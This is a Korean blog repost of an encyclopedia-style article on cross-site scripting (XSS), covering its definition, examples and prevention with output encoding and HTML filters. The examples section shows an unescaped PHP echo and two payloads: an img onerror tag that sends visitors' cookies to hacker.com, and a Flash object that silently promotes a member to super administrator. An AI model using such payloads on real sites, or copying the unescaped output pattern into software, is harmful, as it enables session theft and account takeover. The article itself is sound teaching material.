사이트 간 스크립팅(또는 크로스 사이트 스크립팅교차 사이트 스크립팅, 영문 명칭 cross-site scripting, 영문 약어 XSS)은 웹 애플리케이션에서 많이 나타나는 취약점의 하나로, 웹사이트 관리자가 아닌 이가 웹 페이지에 클라이언트 사이드 스크립트를 삽입하여 다른 사용자가 이를 실행하게끔 허용하는 취약점이다. 여러 사용자가 공유하여 이용하는 전자 게시판 형태의 웹 애플리케이션이 사이트 간 스크립팅 취약점을 가질 경우 특히 공격 대상이 되기 쉽다.

이 취약점은 사용자로부터 입력 받은 값을 웹 애플리케이션이 검사하지 않고 그대로 사용할 경우 나타난다. 주로 사용자의 정보(쿠키세션 등)를 탈취거나, 사용자가 의도하지 않은 기능을 자동으로 실행하기 위해 사용되며, 특수 문자나 예약어스크립트를 나타내는 '" , > , < , % , $ 등의 문자를 이용한다.

공격 대상 웹사이트에 삽입한 스크립트를 이용하여 다른 웹사이트로 접근하는 것도 가능하기 때문에 사이트 간 스크립팅이라고 한다.[1]

목차

  [숨기기

[편집]예문

HTML삽입 지원되는 PHP 전자 게시판에서 다음과 같이, 사용자가 올린 게시물의 내용을 보여주는 페이지가 있을 경우,

 echo '<div id="content">$content</div>';

사용자(해커)는 다음과 같은 게시물을 올릴 수 있다.

<p>안녕하세요. ^^ <img src="#" onerror="this.src = 'http://hacker.com/getCookie?cookie=' + escape(document.cookie);" width="0" height="0" style="display: none; visibility: hidden;" /></p>

이 게시물을 보는 사용자들의 HTTP 쿠키는 모두 해커에게 전달되어 수집되고, 전자 게시판이 세션에 관한 IP 보안 처리를 하지 않는 경우

해커는 이 HTTP 쿠키를 이용해, 게시물을 본 사용자의 계정으로 로그인 할 수 있게 된다.

다음과 같은 것도 가능하다.

<object type="application/x-shockwave-flash" width="0" height="0">
<param name="movie" value="http://hacker.com/superadmin.swf" />
<param name="allowScriptAccess" value="alaways" />
</object>

이 때, 어도비 플래시 http://hacker.com/superadmin.swf는 어도비 플래시의 자바스크립트 접근 기능을 이용해, 페이지의 자바스크립트에 접근해서,

특정 회원을 최고관리자로 바꾸는 페이지로 몰래 자동으로 접속하게 하는 내용이다. 관리자가 이 게시물을 읽을 경우 해커는 최고관리자가 된다.

[편집]예방

웹 애플리케이션을 만들 때 다음과 같은 사항을 유의하여 만든다.

사용자의 HTML 태그 삽입을 원치 않는 부분에서는 사용자의 입력을 PHP의 htmlspecialchars와 같은 기능을 이용하여 HTML 관련 문자를 모두 인코딩하여 출력한다.

HTML의 삽입을 원하는 부분에서는 HTML을 필터링 해서 출력하게 한다. HTML 문법이 복잡하기 때문에, 정확히 HTML을 필터링 하는 것은 힘드므로, HTML 필터 모듈을 사용하는 것이 좋다. 좋은 HTML 필터 모듈이 프로그래밍 언어별로 많이 존재한다. 이 때, HTML의 대용인 BBCode등을 도입해서 사이트 간 스크립팅을 방지할 수도 있다.

[편집]같이 보기

[편집]주석

  1.  IT 용어사전 e-Words: XSS

[편집]바깥 고리



















'Security > Common' 카테고리의 다른 글

패스워드 암호화  (0) 2012.05.24
SASL(Simple Authentication and Security Layer)  (0) 2012.03.02
XSS(Cross-Site Scripting)  (0) 2012.02.29
Implicit FTPS and Explicit FTPS  (0) 2011.11.14
CISSP에서 도구  (0) 2011.11.10
암호학(Cryptography) 의 모든 것  (0) 2011.10.06
Posted by linuxism

댓글을 달아 주세요